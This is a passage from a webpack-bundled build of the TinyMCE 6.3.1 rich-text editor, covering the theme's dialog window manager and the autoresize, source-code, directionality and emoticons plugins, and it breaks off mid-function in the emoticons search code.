          extraStyles: {},
          dialogEvents: [
            run$1(formCancelEvent, () => closeDialog(false)),
            run$1(formSubmitEvent, () => closeDialog(true))
          ],
          eventOrder: {}
        }));
        ModalDialog.show(confirmDialog);
        const footerYesButton = memFooterYes.get(confirmDialog);
        Focusing.focus(footerYesButton);
      };
      return { open };
    };

    const validateData = (data, validator) => getOrDie(asRaw('data', validator, data));
    const isAlertOrConfirmDialog = target => closest(target, '.tox-alert-dialog') || closest(target, '.tox-confirm-dialog');
    const inlineAdditionalBehaviours = (editor, isStickyToolbar, isToolbarLocationTop) => {
      if (isStickyToolbar && isToolbarLocationTop) {
        return [];
      } else {
        return [Docking.config({
            contextual: {
              lazyContext: () => Optional.some(box$1(SugarElement.fromDom(editor.getContentAreaContainer()))),
              fadeInClass: 'tox-dialog-dock-fadein',
              fadeOutClass: 'tox-dialog-dock-fadeout',
              transitionClass: 'tox-dialog-dock-transition'
            },
            modes: ['top']
          })];
      }
    };
    const setup = extras => {
      const editor = extras.editor;
      const isStickyToolbar$1 = isStickyToolbar(editor);
      const alertDialog = setup$2(extras.backstages.dialog);
      const confirmDialog = setup$1(extras.backstages.dialog);
      const open = (config, params, closeWindow) => {
        if (params !== undefined && params.inline === 'toolbar') {
          return openInlineDialog(config, extras.backstages.popup.shared.anchors.inlineDialog(), closeWindow, params.ariaAttrs);
        } else if (params !== undefined && params.inline === 'cursor') {
          return openInlineDialog(config, extras.backstages.popup.shared.anchors.cursor(), closeWindow, params.ariaAttrs);
        } else {
          return openModalDialog(config, closeWindow);
        }
      };
      const openUrl = (config, closeWindow) => openModalUrlDialog(config, closeWindow);
      const openModalUrlDialog = (config, closeWindow) => {
        const factory = contents => {
          const dialog = renderUrlDialog(contents, {
            closeWindow: () => {
              ModalDialog.hide(dialog.dialog);
              closeWindow(dialog.instanceApi);
            }
          }, editor, extras.backstages.dialog);
          ModalDialog.show(dialog.dialog);
          return dialog.instanceApi;
        };
        return DialogManager.openUrl(factory, config);
      };
      const openModalDialog = (config, closeWindow) => {
        const factory = (contents, internalInitialData, dataValidator) => {
          const initialData = internalInitialData;
          const dialogInit = {
            dataValidator,
            initialData,
            internalDialog: contents
          };
          const dialog = renderDialog(dialogInit, {
            redial: DialogManager.redial,
            closeWindow: () => {
              ModalDialog.hide(dialog.dialog);
              closeWindow(dialog.instanceApi);
            }
          }, extras.backstages.dialog);
          ModalDialog.show(dialog.dialog);
          dialog.instanceApi.setData(initialData);
          return dialog.instanceApi;
        };
        return DialogManager.open(factory, config);
      };
      const openInlineDialog = (config$1, anchor, closeWindow, ariaAttrs = false) => {
        const factory = (contents, internalInitialData, dataValidator) => {
          const initialData = validateData(internalInitialData, dataValidator);
          const inlineDialog = value$2();
          const isToolbarLocationTop = extras.backstages.popup.shared.header.isPositionedAtTop();
          const dialogInit = {
            dataValidator,
            initialData,
            internalDialog: contents
          };
          const refreshDocking = () => inlineDialog.on(dialog => {
            InlineView.reposition(dialog);
            Docking.refresh(dialog);
          });
          const dialogUi = renderInlineDialog(dialogInit, {
            redial: DialogManager.redial,
            closeWindow: () => {
              inlineDialog.on(InlineView.hide);
              editor.off('ResizeEditor', refreshDocking);
              inlineDialog.clear();
              closeWindow(dialogUi.instanceApi);
            }
          }, extras.backstages.popup, ariaAttrs);
          const inlineDialogComp = build$1(InlineView.sketch({
            lazySink: extras.backstages.popup.shared.getSink,
            dom: {
              tag: 'div',
              classes: []
            },
            fireDismissalEventInstead: {},
            ...isToolbarLocationTop ? {} : { fireRepositionEventInstead: {} },
            inlineBehaviours: derive$1([
              config('window-manager-inline-events', [run$1(dismissRequested(), (_comp, _se) => {
                  emit(dialogUi.dialog, formCancelEvent);
                })]),
              ...inlineAdditionalBehaviours(editor, isStickyToolbar$1, isToolbarLocationTop)
            ]),
            isExtraPart: (_comp, target) => isAlertOrConfirmDialog(target)
          }));
          inlineDialog.set(inlineDialogComp);
          InlineView.showWithin(inlineDialogComp, premade(dialogUi.dialog), { anchor }, Optional.some(body()));
          if (!isStickyToolbar$1 || !isToolbarLocationTop) {
            Docking.refresh(inlineDialogComp);
            editor.on('ResizeEditor', refreshDocking);
          }
          dialogUi.instanceApi.setData(initialData);
          Keying.focusIn(dialogUi.dialog);
          return dialogUi.instanceApi;
        };
        return DialogManager.open(factory, config$1);
      };
      const confirm = (message, callback) => {
        confirmDialog.open(message, callback);
      };
      const alert = (message, callback) => {
        alertDialog.open(message, callback);
      };
      const close = instanceApi => {
        instanceApi.close();
      };
      return {
        open,
        openUrl,
        alert,
        close,
        confirm
      };
    };

    const registerOptions = editor => {
      register$e(editor);
      register$d(editor);
      register(editor);
    };
    var Theme = () => {
      global$a.add('silver', editor => {
        registerOptions(editor);
        const {dialogs, popups, renderUI} = setup$3(editor);
        Autocompleter.register(editor, popups.backstage.shared);
        const windowMgr = setup({
          editor,
          backstages: {
            popup: popups.backstage,
            dialog: dialogs.backstage
          }
        });
        const getNotificationManagerImpl = () => NotificationManagerImpl(editor, { backstage: popups.backstage }, popups.getMothership());
        return {
          renderUI,
          getWindowManagerImpl: constant$1(windowMgr),
          getNotificationManagerImpl
        };
      });
    };

    Theme();

})();


/***/ }),
/* 6 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "autoresize" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/autoresize')
//   ES2015:
//     import 'tinymce/plugins/autoresize'
__webpack_require__(7);

/***/ }),
/* 7 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    var global$1 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global = tinymce.util.Tools.resolve('tinymce.Env');

    const fireResizeEditor = editor => editor.dispatch('ResizeEditor');

    const option = name => editor => editor.options.get(name);
    const register$1 = editor => {
      const registerOption = editor.options.register;
      registerOption('autoresize_overflow_padding', {
        processor: 'number',
        default: 1
      });
      registerOption('autoresize_bottom_margin', {
        processor: 'number',
        default: 50
      });
    };
    const getMinHeight = option('min_height');
    const getMaxHeight = option('max_height');
    const getAutoResizeOverflowPadding = option('autoresize_overflow_padding');
    const getAutoResizeBottomMargin = option('autoresize_bottom_margin');

    const isFullscreen = editor => editor.plugins.fullscreen && editor.plugins.fullscreen.isFullscreen();
    const toggleScrolling = (editor, state) => {
      const body = editor.getBody();
      if (body) {
        body.style.overflowY = state ? '' : 'hidden';
        if (!state) {
          body.scrollTop = 0;
        }
      }
    };
    const parseCssValueToInt = (dom, elm, name, computed) => {
      var _a;
      const value = parseInt((_a = dom.getStyle(elm, name, computed)) !== null && _a !== void 0 ? _a : '', 10);
      return isNaN(value) ? 0 : value;
    };
    const shouldScrollIntoView = trigger => {
      if ((trigger === null || trigger === void 0 ? void 0 : trigger.type.toLowerCase()) === 'setcontent') {
        const setContentEvent = trigger;
        return setContentEvent.selection === true || setContentEvent.paste === true;
      } else {
        return false;
      }
    };
    const resize = (editor, oldSize, trigger) => {
      var _a;
      const dom = editor.dom;
      const doc = editor.getDoc();
      if (!doc) {
        return;
      }
      if (isFullscreen(editor)) {
        toggleScrolling(editor, true);
        return;
      }
      const docEle = doc.documentElement;
      const resizeBottomMargin = getAutoResizeBottomMargin(editor);
      const minHeight = (_a = getMinHeight(editor)) !== null && _a !== void 0 ? _a : editor.getElement().offsetHeight;
      let resizeHeight = minHeight;
      const marginTop = parseCssValueToInt(dom, docEle, 'margin-top', true);
      const marginBottom = parseCssValueToInt(dom, docEle, 'margin-bottom', true);
      let contentHeight = docEle.offsetHeight + marginTop + marginBottom + resizeBottomMargin;
      if (contentHeight < 0) {
        contentHeight = 0;
      }
      const containerHeight = editor.getContainer().offsetHeight;
      const contentAreaHeight = editor.getContentAreaContainer().offsetHeight;
      const chromeHeight = containerHeight - contentAreaHeight;
      if (contentHeight + chromeHeight > minHeight) {
        resizeHeight = contentHeight + chromeHeight;
      }
      const maxHeight = getMaxHeight(editor);
      if (maxHeight && resizeHeight > maxHeight) {
        resizeHeight = maxHeight;
        toggleScrolling(editor, true);
      } else {
        toggleScrolling(editor, false);
      }
      if (resizeHeight !== oldSize.get()) {
        const deltaSize = resizeHeight - oldSize.get();
        dom.setStyle(editor.getContainer(), 'height', resizeHeight + 'px');
        oldSize.set(resizeHeight);
        fireResizeEditor(editor);
        if (global.browser.isSafari() && (global.os.isMacOS() || global.os.isiOS())) {
          const win = editor.getWin();
          win.scrollTo(win.pageXOffset, win.pageYOffset);
        }
        if (editor.hasFocus() && shouldScrollIntoView(trigger)) {
          editor.selection.scrollIntoView();
        }
        if ((global.browser.isSafari() || global.browser.isChromium()) && deltaSize < 0) {
          resize(editor, oldSize, trigger);
        }
      }
    };
    const setup = (editor, oldSize) => {
      editor.on('init', () => {
        const overflowPadding = getAutoResizeOverflowPadding(editor);
        const dom = editor.dom;
        dom.setStyles(editor.getDoc().documentElement, { height: 'auto' });
        dom.setStyles(editor.getBody(), {
          'paddingLeft': overflowPadding,
          'paddingRight': overflowPadding,
          'min-height': 0
        });
      });
      editor.on('NodeChange SetContent keyup FullscreenStateChanged ResizeContent', e => {
        resize(editor, oldSize, e);
      });
    };

    const register = (editor, oldSize) => {
      editor.addCommand('mceAutoResize', () => {
        resize(editor, oldSize);
      });
    };

    var Plugin = () => {
      global$1.add('autoresize', editor => {
        register$1(editor);
        if (!editor.options.isSet('resize')) {
          editor.options.set('resize', false);
        }
        if (!editor.inline) {
          const oldSize = Cell(0);
          register(editor, oldSize);
          setup(editor, oldSize);
        }
      });
    };

    Plugin();

})();


/***/ }),
/* 8 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "code" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/code')
//   ES2015:
//     import 'tinymce/plugins/code'
__webpack_require__(9);

/***/ }),
/* 9 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const setContent = (editor, html) => {
      editor.focus();
      editor.undoManager.transact(() => {
        editor.setContent(html);
      });
      editor.selection.setCursorLocation();
      editor.nodeChanged();
    };
    const getContent = editor => {
      return editor.getContent({ source_view: true });
    };

    const open = editor => {
      const editorContent = getContent(editor);
      editor.windowManager.open({
        title: 'Source Code',
        size: 'large',
        body: {
          type: 'panel',
          items: [{
              type: 'textarea',
              name: 'code'
            }]
        },
        buttons: [
          {
            type: 'cancel',
            name: 'cancel',
            text: 'Cancel'
          },
          {
            type: 'submit',
            name: 'save',
            text: 'Save',
            primary: true
          }
        ],
        initialData: { code: editorContent },
        onSubmit: api => {
          setContent(editor, api.getData().code);
          api.close();
        }
      });
    };

    const register$1 = editor => {
      editor.addCommand('mceCodeEditor', () => {
        open(editor);
      });
    };

    const register = editor => {
      const onAction = () => editor.execCommand('mceCodeEditor');
      editor.ui.registry.addButton('code', {
        icon: 'sourcecode',
        tooltip: 'Source code',
        onAction
      });
      editor.ui.registry.addMenuItem('code', {
        icon: 'sourcecode',
        text: 'Source code',
        onAction
      });
    };

    var Plugin = () => {
      global.add('code', editor => {
        register$1(editor);
        register(editor);
        return {};
      });
    };

    Plugin();

})();


/***/ }),
/* 10 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "directionality" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/directionality')
//   ES2015:
//     import 'tinymce/plugins/directionality'
__webpack_require__(11);

/***/ }),
/* 11 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const isString = isType$1('string');
    const isBoolean = isSimpleType('boolean');
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');

    const compose1 = (fbc, fab) => a => fbc(fab(a));
    const constant = value => {
      return () => {
        return value;
      };
    };
    const never = constant(false);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const map = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const filter = (xs, pred) => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };

    const DOCUMENT = 9;
    const DOCUMENT_FRAGMENT = 11;
    const ELEMENT = 1;
    const TEXT = 3;

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom(node);
    };
    const fromDom = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom);
    const SugarElement = {
      fromHtml,
      fromTag,
      fromText,
      fromDom,
      fromPoint
    };

    const is = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };

    typeof window !== 'undefined' ? window : Function('return this;')();

    const name = element => {
      const r = element.dom.nodeName;
      return r.toLowerCase();
    };
    const type = element => element.dom.nodeType;
    const isType = t => element => type(element) === t;
    const isElement = isType(ELEMENT);
    const isText = isType(TEXT);
    const isDocument = isType(DOCUMENT);
    const isDocumentFragment = isType(DOCUMENT_FRAGMENT);
    const isTag = tag => e => isElement(e) && name(e) === tag;

    const owner = element => SugarElement.fromDom(element.dom.ownerDocument);
    const documentOrOwner = dos => isDocument(dos) ? dos : owner(dos);
    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const children$2 = element => map(element.dom.childNodes, SugarElement.fromDom);

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set = (element, key, value) => {
      rawSet(element.dom, key, value);
    };
    const remove = (element, key) => {
      element.dom.removeAttribute(key);
    };

    const isShadowRoot = dos => isDocumentFragment(dos) && isNonNullable(dos.dom.host);
    const supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode);
    const getRootNode = supported ? e => SugarElement.fromDom(e.dom.getRootNode()) : documentOrOwner;
    const getShadowRoot = e => {
      const r = getRootNode(e);
      return isShadowRoot(r) ? Optional.some(r) : Optional.none();
    };
    const getShadowHost = e => SugarElement.fromDom(e.dom.host);

    const inBody = element => {
      const dom = isText(element) ? element.dom.parentNode : element.dom;
      if (dom === undefined || dom === null || dom.ownerDocument === null) {
        return false;
      }
      const doc = dom.ownerDocument;
      return getShadowRoot(SugarElement.fromDom(dom)).fold(() => doc.body.contains(dom), compose1(inBody, getShadowHost));
    };

    const ancestor$1 = (scope, predicate, isRoot) => {
      let element = scope.dom;
      const stop = isFunction(isRoot) ? isRoot : never;
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        if (predicate(el)) {
          return Optional.some(el);
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };

    const ancestor = (scope, selector, isRoot) => ancestor$1(scope, e => is(e, selector), isRoot);

    const isSupported = dom => dom.style !== undefined && isFunction(dom.style.getPropertyValue);

    const get = (element, property) => {
      const dom = element.dom;
      const styles = window.getComputedStyle(dom);
      const r = styles.getPropertyValue(property);
      return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r;
    };
    const getUnsafeProperty = (dom, property) => isSupported(dom) ? dom.style.getPropertyValue(property) : '';

    const getDirection = element => get(element, 'direction') === 'rtl' ? 'rtl' : 'ltr';

    const children$1 = (scope, predicate) => filter(children$2(scope), predicate);

    const children = (scope, selector) => children$1(scope, e => is(e, selector));

    const getParentElement = element => parent(element).filter(isElement);
    const getNormalizedBlock = (element, isListItem) => {
      const normalizedElement = isListItem ? ancestor(element, 'ol,ul') : Optional.some(element);
      return normalizedElement.getOr(element);
    };
    const isListItem = isTag('li');
    const setDir = (editor, dir) => {
      const selectedBlocks = editor.selection.getSelectedBlocks();
      if (selectedBlocks.length > 0) {
        each(selectedBlocks, block => {
          const blockElement = SugarElement.fromDom(block);
          const isBlockElementListItem = isListItem(blockElement);
          const normalizedBlock = getNormalizedBlock(blockElement, isBlockElementListItem);
          const normalizedBlockParent = getParentElement(normalizedBlock);
          normalizedBlockParent.each(parent => {
            const parentDirection = getDirection(parent);
            if (parentDirection !== dir) {
              set(normalizedBlock, 'dir', dir);
            } else if (getDirection(normalizedBlock) !== dir) {
              remove(normalizedBlock, 'dir');
            }
            if (isBlockElementListItem) {
              const listItems = children(normalizedBlock, 'li[dir]');
              each(listItems, listItem => remove(listItem, 'dir'));
            }
          });
        });
        editor.nodeChanged();
      }
    };

    const register$1 = editor => {
      editor.addCommand('mceDirectionLTR', () => {
        setDir(editor, 'ltr');
      });
      editor.addCommand('mceDirectionRTL', () => {
        setDir(editor, 'rtl');
      });
    };

    const getNodeChangeHandler = (editor, dir) => api => {
      const nodeChangeHandler = e => {
        const element = SugarElement.fromDom(e.element);
        api.setActive(getDirection(element) === dir);
      };
      editor.on('NodeChange', nodeChangeHandler);
      return () => editor.off('NodeChange', nodeChangeHandler);
    };
    const register = editor => {
      editor.ui.registry.addToggleButton('ltr', {
        tooltip: 'Left to right',
        icon: 'ltr',
        onAction: () => editor.execCommand('mceDirectionLTR'),
        onSetup: getNodeChangeHandler(editor, 'ltr')
      });
      editor.ui.registry.addToggleButton('rtl', {
        tooltip: 'Right to left',
        icon: 'rtl',
        onAction: () => editor.execCommand('mceDirectionRTL'),
        onSetup: getNodeChangeHandler(editor, 'rtl')
      });
    };

    var Plugin = () => {
      global.add('directionality', editor => {
        register$1(editor);
        register(editor);
      });
    };

    Plugin();

})();


/***/ }),
/* 12 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "emoticons" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/emoticons')
//   ES2015:
//     import 'tinymce/plugins/emoticons'
__webpack_require__(13);

/***/ }),
/* 13 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global$1 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const eq = t => a => t === a;
    const isNull = eq(null);
    const isUndefined = eq(undefined);
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);

    const noop = () => {
    };
    const constant = value => {
      return () => {
        return value;
      };
    };
    const never = constant(false);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const exists = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    const map$1 = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each$1 = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    const last = (fn, rate) => {
      let timer = null;
      const cancel = () => {
        if (!isNull(timer)) {
          clearTimeout(timer);
          timer = null;
        }
      };
      const throttle = (...args) => {
        cancel();
        timer = setTimeout(() => {
          timer = null;
          fn.apply(null, args);
        }, rate);
      };
      return {
        cancel,
        throttle
      };
    };

    const insertEmoticon = (editor, ch) => {
      editor.insertContent(ch);
    };

    const keys = Object.keys;
    const hasOwnProperty = Object.hasOwnProperty;
    const each = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const map = (obj, f) => {
      return tupleMap(obj, (x, i) => ({
        k: i,
        v: f(x, i)
      }));
    };
    const tupleMap = (obj, f) => {
      const r = {};
      each(obj, (x, i) => {
        const tuple = f(x, i);
        r[tuple.k] = tuple.v;
      });
      return r;
    };
    const has = (obj, key) => hasOwnProperty.call(obj, key);

    const shallow = (old, nu) => {
      return nu;
    };
    const baseMerge = merger => {
      return (...objects) => {
        if (objects.length === 0) {
          throw new Error(`Can't merge zero objects`);
        }
        const ret = {};
        for (let j = 0; j < objects.length; j++) {
          const curObject = objects[j];
          for (const key in curObject) {
            if (has(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    const merge = baseMerge(shallow);

    const singleton = doRevoke => {
      const subject = Cell(Optional.none());
      const revoke = () => subject.get().each(doRevoke);
      const clear = () => {
        revoke();
        subject.set(Optional.none());
      };
      const isSet = () => subject.get().isSome();
      const get = () => subject.get();
      const set = s => {
        revoke();
        subject.set(Optional.some(s));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const value = () => {
      const subject = singleton(noop);
      const on = f => subject.get().each(f);
      return {
        ...subject,
        on
      };
    };

    const checkRange = (str, substr, start) => substr === '' || str.length >= substr.length && str.substr(start, start + substr.length) === substr;
    const contains = (str, substr, start = 0, end) => {
      const idx = str.indexOf(substr, start);
      if (idx !== -1) {
        return isUndefined(end) ? true : idx + substr.length <= end;
      } else {
        return false;
      }
    };
    const startsWith = (str, prefix) => {
      return checkRange(str, prefix, 0);
    };

    var global = tinymce.util.Tools.resolve('tinymce.Resource');

    const DEFAULT_ID = 'tinymce.plugins.emoticons';
    const option = name => editor => editor.options.get(name);
    const register$2 = (editor, pluginUrl) => {
      const registerOption = editor.options.register;
      registerOption('emoticons_database', {
        processor: 'string',
        default: 'emojis'
      });
      registerOption('emoticons_database_url', {
        processor: 'string',
        default: `${ pluginUrl }/js/${ getEmojiDatabase(editor) }${ editor.suffix }.js`
      });
      registerOption('emoticons_database_id', {
        processor: 'string',
        default: DEFAULT_ID
      });
      registerOption('emoticons_append', {
        processor: 'object',
        default: {}
      });
      registerOption('emoticons_images_url', {
        processor: 'string',
        default: 'https://twemoji.maxcdn.com/v/13.0.1/72x72/'
      });
    };
    const getEmojiDatabase = option('emoticons_database');
    const getEmojiDatabaseUrl = option('emoticons_database_url');
    const getEmojiDatabaseId = option('emoticons_database_id');
    const getAppendedEmoji = option('emoticons_append');
    const getEmojiImageUrl = option('emoticons_images_url');

    const ALL_CATEGORY = 'All';
    const categoryNameMap = {
      symbols: 'Symbols',
      people: 'People',
      animals_and_nature: 'Animals and Nature',
      food_and_drink: 'Food and Drink',
      activity: 'Activity',
      travel_and_places: 'Travel and Places',
      objects: 'Objects',
      flags: 'Flags',
      user: 'User Defined'
    };
    const translateCategory = (categories, name) => has(categories, name) ? categories[name] : name;
    const getUserDefinedEmoji = editor => {
      const userDefinedEmoticons = getAppendedEmoji(editor);
      return map(userDefinedEmoticons, value => ({
        keywords: [],
        category: 'user',
        ...value
      }));
    };
    const initDatabase = (editor, databaseUrl, databaseId) => {
      const categories = value();
      const all = value();
      const emojiImagesUrl = getEmojiImageUrl(editor);
      const getEmoji = lib => {
        if (startsWith(lib.char, '<img')) {
          return lib.char.replace(/src="([^"]+)"/, (match, url) => `src="${ emojiImagesUrl }${ url }"`);
        } else {
          return lib.char;
        }
      };
      const processEmojis = emojis => {
        const cats = {};
        const everything = [];
        each(emojis, (lib, title) => {
          const entry = {
            title,
            keywords: lib.keywords,
            char: getEmoji(lib),
            category: translateCategory(categoryNameMap, lib.category)
          };
          const current = cats[entry.category] !== undefined ? cats[entry.category] : [];
          cats[entry.category] = current.concat([entry]);
          everything.push(entry);
        });
        categories.set(cats);
        all.set(everything);
      };
      editor.on('init', () => {
        global.load(databaseId, databaseUrl).then(emojis => {
          const userEmojis = getUserDefinedEmoji(editor);
          processEmojis(merge(emojis, userEmojis));
        }, err => {
          console.log(`Failed to load emojis: ${ err }`);
          categories.set({});
          all.set([]);
        });
      });
      const listCategory = category => {
        if (category === ALL_CATEGORY) {
          return listAll();
        }
        return categories.get().bind(cats => Optional.from(cats[category])).getOr([]);
      };
      const listAll = () => all.get().getOr([]);
      const listCategories = () => [ALL_CATEGORY].concat(keys(categories.get().getOr({})));
      const waitForLoad = () => {
        if (hasLoaded()) {
          return Promise.resolve(true);
        } else {
          return new Promise((resolve, reject) => {
            let numRetries = 15;
            const interval = setInterval(() => {
              if (hasLoaded()) {
                clearInterval(interval);
                resolve(true);
              } else {
                numRetries--;
                if (numRetries < 0) {
                  console.log('Could not load emojis from url: ' + databaseUrl);
                  clearInterval(interval);
                  reject(false);
                }
              }
            }, 100);
          });
        }
      };
      const hasLoaded = () => categories.isSet() && all.isSet();
      return {
        listCategories,
        hasLoaded,
        waitForLoad,
        listAll,
        listCategory
      };
    };

    const emojiMatches = (emoji, lowerCasePattern) => contains(emoji.title.toLowerCase(), lowerCasePattern) || exists(emoji.keywords, k => contains(k.toLowerCase(), lowerCasePattern));
    const emojisFrom = (list, pattern, maxResults) => {
      const matches = [];
